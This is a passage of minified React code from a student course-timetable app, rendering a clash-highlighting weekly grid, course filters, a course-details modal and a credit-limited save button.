solid",borderColor:d?"red.400":n,borderRadius:"md",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"bold",fontSize:"sm",color:d?"red.700":`${i}.700`,position:"relative",boxShadow:"sm",transition:"all 0.2s",_hover:{bg:d?"red.200":`${i}.200`,boxShadow:"md",transform:"scale(1.02)"},cursor:"pointer",onClick:()=>ce(o.course),p:1,children:e.jsxs(H,{spacing:0,children:[e.jsx(c,{fontWeight:"bold",fontSize:"xs",textAlign:"center",children:o.course.course_code}),o.duration>2&&e.jsx(c,{fontSize:"10px",opacity:.8,textAlign:"center",children:o.course.course_name.length>15?o.course.course_name.substring(0,15)+"...":o.course.course_name}),d&&e.jsx(c,{fontSize:"9px",bg:"red.200",color:"red.700",px:1,borderRadius:"sm",children:"CLASH"})]})},`${s}-${t}-block`)}else if(!j.occupied[s][l])return e.jsx(a,{border:"1px solid",borderColor:"gray.200",bg:"white"},`${s}-${t}-empty`);return null})]},s))]})}),u.length>0&&e.jsxs(x,{mt:3,flexWrap:"wrap",gap:2,children:[e.jsx(c,{fontSize:"sm",fontWeight:"medium",color:"gray.600",mr:2,children:"Color Legend:"}),u.map(s=>{const r=z[s.uuid]||"green.400",t=r.split(".")[0];return e.jsx(a,{display:"inline-flex",alignItems:"center",bg:`${t}.50`,color:`${t}.700`,borderLeft:`4px solid ${r}`,px:2,py:1,borderRadius:"md",fontSize:"xs",fontWeight:"bold",boxShadow:"sm",children:s.course_code},`legend-${s.uuid}`)}),e.jsx(a,{display:"inline-flex",alignItems:"center",bg:"red.100",color:"red.700",borderLeft:"4px solid red.400",px:2,py:1,borderRadius:"md",fontSize:"xs",fontWeight:"bold",boxShadow:"sm",children:"Clash"})]})]})]}),e.jsxs(a,{className:"bg-white rounded-xl shadow-lg p-6",children:[!X&&e.jsx(e.Fragment,{children:e.jsxs(x,{direction:["column","row"],gap:4,mb:6,wrap:"wrap",children:[e.jsxs(x,{flex:1,position:"relative",children:[e.jsx(bs,{placeholder:"Search courses...",value:f.search,onChange:s=>ae("search",s.target.value),pl:10,bg:"gray.50",borderColor:"gray.200",_focus:{borderColor:"purple.400",boxShadow:"0 0 0 1px var(--chakra-colors-purple-400)"}}),e.jsx(a,{position:"absolute",left:3,top:"50%",transform:"translateY(-50%)",children:e.jsx(Se,{size:18,opacity:.5})})]}),e.jsx(ee,{placeholder:"Semester",value:f.semester,onChange:s=>ae("semester",s.target.value),maxW:["100%","150px"],bg:"gray.50",borderColor:"gray.200",_focus:{borderColor:"purple.400",boxShadow:"0 0 0 1px var(--chakra-colors-purple-400)"},children:[1,2,3,4,5,6,7,8].map(s=>e.jsxs("option",{value:s,children:["Semester ",s]},s))}),e.jsx(ee,{placeholder:"Department",value:f.department,onChange:s=>ae("department",s.target.value),maxW:["100%","180px"],bg:"gray.50",borderColor:"gray.200",_focus:{borderColor:"purple.400",boxShadow:"0 0 0 1px var(--chakra-colors-purple-400)"},children:P.map(s=>e.jsx("option",{value:s,children:s},s))}),e.jsx(w,{leftIcon:e.jsx(vs,{size:16}),onClick:()=>ye({search:"",semester:"",department:"",credits:"",sortBy:"name",sortOrder:"asc"}),variant:"outline",colorScheme:"purple",size:"md",children:"Reset Filters"})]})}),ps()]})]})})}),e.jsxs(Oe,{isOpen:ss,onClose:_e,size:"xl",scrollBehavior:"inside",children:[e.jsx(Ae,{backdropFilter:"blur(2px)"}),e.jsx(Fe,{rounded:"xl",overflow:"hidden",children:h&&e.jsxs(e.Fragment,{children:[e.jsx(a,{h:"8px",w:"100%",className:`bg-gradient-to-r ${!h?.semester||h.semester<=2?"from-green-400 to-green-500":h.semester<=4?"from-blue-400 to-blue-500":h.semester<=6?"from-purple-400 to-purple-500":"from-red-400 to-red-500"}`}),e.jsxs(Me,{pb:2,children:[e.jsxs(x,{justify:"space-between",align:"center",w:"full",children:[e.jsx(c,{fontSize:"2xl",fontWeight:"bold",className:"text-gray-800",children:h.course_name}),e.jsx(qe,{position:"static"})]}),e.jsx(c,{fontSize:"md",color:"gray.500",fontFamily:"mono",children:h.course_code})]}),e.jsx(Pe,{}),e.jsxs(Ue,{pt:4,children:[e.jsxs(Le,{columns:{base:1,md:2},spacing:4,mb:6,children:[e.jsxs(a,{children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",children:"Department"}),e.jsx(c,{children:h.department?.dept_name||"Not specified"})]}),e.jsxs(a,{children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",children:"Stream"}),e.jsx(c,{children:h.department?.dept_name||"Not specified"})]}),e.jsxs(a,{children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",children:"Semester"}),e.jsxs(c,{children:["Semester ",h.semester]})]}),e.jsxs(a,{children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",children:"Credits"}),e.jsxs(c,{children:[h.credits," credit",h.credits!==1?"s":""]})]}),e.jsxs(a,{children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",children:"Instructor"}),e.jsx(c,{children:h.professor_allocated||"Not specified"})]})]}),e.jsxs(a,{mb:6,children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",mb:1,children:"Description"}),e.jsx(c,{fontSize:"md",whiteSpace:"pre-wrap",children:h.description||"No description available for this course."})]}),h.prerequisites&&h.prerequisites.length>0&&e.jsxs(a,{mb:6,children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",mb:2,children:"Prerequisites"}),e.jsx(x,{gap:2,flexWrap:"wrap",children:h.prerequisites.map(s=>e.jsx(F,{size:"md",colorScheme:"blue",variant:"subtle",children:s},s))})]}),h.schedule&&h.schedule.length>0&&e.jsxs(a,{mb:6,children:[e.jsx(c,{fontSize:"sm",color:"gray.500",fontWeight:"medium",mb:2,children:"Schedule"}),e.jsx(H,{align:"stretch",spacing:2,children:h.schedule.map((s,r)=>e.jsxs(x,{bg:"gray.50",p:3,rounded:"md",align:"center",justifyContent:"space-between",children:[e.jsxs(A,{spacing:4,children:[e.jsx(F,{size:"sm",colorScheme:"purple",variant:"subtle",width:"90px",justifyContent:"center",children:s.day}),e.jsxs(x,{alignItems:"center",gap:1,children:[e.jsx(Ke,{size:14,className:"text-gray-400"}),e.jsxs(c,{fontSize:"sm",children:[s.start_time," - ",s.end_time]})]})]}),s.room&&e.jsxs(c,{fontSize:"xs",color:"gray.500",children:["Room: ",s.room]})]},r))})]})]}),e.jsxs(Ve,{borderTop:"1px",borderColor:"gray.100",pt:4,children:[e.jsx(w,{colorScheme:"gray",mr:3,onClick:_e,children:"Close"}),e.jsx(w,{colorScheme:"purple",leftIcon:u.some(s=>s.uuid===h.uuid)?e.jsx($s,{size:18}):e.jsx(B,{size:18}),onClick:()=>Q(h),children:u.some(s=>s.uuid===h.uuid)?"Remove from Selection":"Add to Selection"})]})]})})]}),e.jsxs(Oe,{isOpen:ts,onClose:ze,size:"6xl",scrollBehavior:"inside",children:[e.jsx(Ae,{backdropFilter:"blur(2px)"}),e.jsxs(Fe,{rounded:"xl",children:[e.jsx(Me,{children:"Weekly Timetable View"}),e.jsx(qe,{}),e.jsxs(Ue,{children:[e.jsx(a,{overflowX:"auto",children:e.jsxs(a,{display:"grid",gridTemplateColumns:`100px repeat(${j.days.length}, 1fr)`,gridTemplateRows:`50px repeat(${j.timeSlots.length}, 50px)`,minW:"900px",bg:"white",gap:"1px",border:"1px solid",borderColor:"gray.200",borderRadius:"md",children:[e.jsx(a,{bg:"gray.50",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"bold",fontSize:"md",borderRadius:"md",children:"Time"}),j.days.map(s=>e.jsx(a,{bg:"gray.50",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"bold",fontSize:"md",borderRadius:"md",children:s},s)),j.timeSlots.map((s,r)=>e.jsxs(Qe.Fragment,{children:[e.jsx(a,{bg:"gray.50",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"medium",fontSize:"sm",borderRadius:"md",children:s}),j.days.map((t,l)=>{const o=j.courseBlocks[t].find(n=>n.startSlotIndex===r);if(o){const n=z[o.course.uuid]||"green.400",i=n.split(".")[0],d=j.grid[t][s].length>1;return e.jsxs(a,{gridRowStart:r+2,gridRowEnd:r+2+o.duration,gridColumn:l+2,bg:d?"red.100":`${i}.100`,border:"3px solid",borderColor:d?"red.400":n,borderRadius:"lg",display:"flex",flexDirection:"column",alignItems:"center",justifyContent:"center",fontWeight:"bold",fontSize:"md",color:d?"red.700":`${i}.700`,position:"relative",boxShadow:"lg",transition:"all 0.2s",_hover:{bg:d?"red.200":`${i}.200`,boxShadow:"xl",transform:"scale(1.02)"},cursor:"pointer",onClick:()=>ce(o.course),p:2,children:[e.jsx(c,{fontWeight:"bold",fontSize:"lg",textAlign:"center",children:o.course.course_code}),o.duration>1&&e.jsx(c,{fontSize:"sm",opacity:.9,textAlign:"center",mt:1,children:o.course.course_name.length>25?o.course.course_name.substring(0,25)+"...":o.course.course_name}),e.jsxs(c,{fontSize:"xs",opacity:.7,mt:1,children:[o.course.schedule.find(m=>m.day===t)?.start_time," ","-"," ",o.course.schedule.find(m=>m.day===t)?.end_time]}),d&&e.jsx(c,{fontSize:"sm",bg:"red.200",color:"red.700",px:2,py:1,borderRadius:"md",mt:1,children:"CLASH DETECTED"})]},`${t}-${s}-modal-block`)}else if(!j.occupied[t][r])return e.jsx(a,{bg:"white",borderRadius:"md"},`${t}-${s}-modal-empty`);return null})]},s))]})}),u.length>0&&e.jsxs(x,{mt:4,flexWrap:"wrap",gap:2,borderTop:"1px solid",borderColor:"gray.100",pt:4,children:[e.jsx(c,{fontSize:"sm",fontWeight:"medium",color:"gray.700",mr:2,children:"Color Legend:"}),u.map(s=>{const r=z[s.uuid]||"green.400",t=r.split(".")[0];return e.jsx(a,{display:"inline-flex",alignItems:"center",bg:`${t}.50`,color:`${t}.700`,borderLeft:`4px solid ${r}`,px:3,py:1,borderRadius:"md",fontSize:"sm",fontWeight:"bold",boxShadow:"sm",children:s.course_code},`legend-modal-${s.uuid}`)}),e.jsx(a,{display:"inline-flex",alignItems:"center",bg:"red.100",color:"red.700",borderLeft:"4px solid red.400",px:3,py:1,borderRadius:"md",fontSize:"sm",fontWeight:"bold",boxShadow:"sm",children:"Clash"})]})]}),e.jsx(Ve,{children:e.jsxs(A,{spacing:3,children:[e.jsxs(F,{size:"md",colorScheme:L>=O?"orange":"purple",variant:"subtle",children:[e.jsx(K,{as:B}),e.jsxs(Z,{fontWeight:"bold",children:[L,"/",O," Courses"]})]}),e.jsxs(F,{size:"md",colorScheme:g<b?"red":g>=$?"orange":"blue",variant:"subtle",children:[e.jsx(K,{boxSize:3,as:be}),e.jsxs(Z,{fontWeight:"bold",children:[g,"/",$," Credits",g<b&&` (Min: ${b})`]})]}),e.jsx(ee,{size:"sm",value:$,onChange:s=>le(Number(s.target.value)),width:"120px",children:We.map(s=>e.jsxs("option",{value:s,children:[s," Credits"]},s))}),!V&&u.length>0&&e.jsx(w,{colorScheme:g>=b?"green":"gray",leftIcon:e.jsx(Ce,{size:16}),onClick:Ee,isLoading:ke,loadingText:"Saving...",size:"sm",disabled:g<b,children:"Save to Current Semester"}),e.jsx(w,{colorScheme:"purple",onClick:ze,children:"Close"})]})})]})]})]})};export{Ls as default}; //# sourceMappingURL=TimetableClashChecker-gskbNvYE.js.map
Close